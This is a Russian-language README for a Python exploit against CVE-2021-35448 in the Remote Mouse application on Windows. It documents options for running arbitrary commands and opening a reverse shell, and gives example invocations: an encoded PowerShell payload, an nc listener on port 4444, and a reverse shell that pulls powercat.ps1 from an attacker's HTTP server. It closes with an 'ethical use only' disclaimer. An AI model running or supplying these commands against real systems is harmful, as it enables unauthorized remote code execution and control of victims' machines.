CVE-2021-35448 - Эксплойт для Remote Mouse

Описание

Этот эксплойт нацелен на уязвимость CVE-2021-35448 в приложении Remote Mouse (ранее WiFi Mouse).

POC

CVE-2021-35448.webm

Использование

Базовый синтаксис

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

Опции

• -t, --target: IP-адрес цели (обязательно)
• -p, --payload: Произвольная команда для выполнения
• -r, --reverse: Обратная оболочка в формате IP:PORT
• -l, --http: Локальный HTTP-сервер в формате IP:PORT (обязателен с -r)

Примеры использования

1. Произвольная команда

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. Обратная оболочка (рекомендуется)

# Terminal 1 - Listener
nc -nlvp 4444

# Terminal 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

Предварительные требования

Необходимые файлы

• CVE-2021-35448.py: Основной скрипт эксплуатации
• powercat.ps1: PowerShell-скрипт для обратных оболочек

Целевая система

• Установленное и запущенное приложение Remote Mouse
• Система Windows (протестировано на Windows 10)

Предупреждение

⚠️ ТОЛЬКО ДЛЯ ЭТИЧЕСКОГО ИСПОЛЬЗОВАНИЯ ⚠️

Этот инструмент предназначен исключительно для образовательных целей и авторизованного тестирования на проникновение. Несанкционированное использование этого эксплойта незаконно и может привести к уголовному преследованию.

Ссылки

• WiFi Mouse 1.7.8.5 - Remote Code Execution
• CVE-2021-35448 Detail

Автор

Разработан в образовательных и этических целях тестирования на проникновение.

---

Последнее обновление: 2025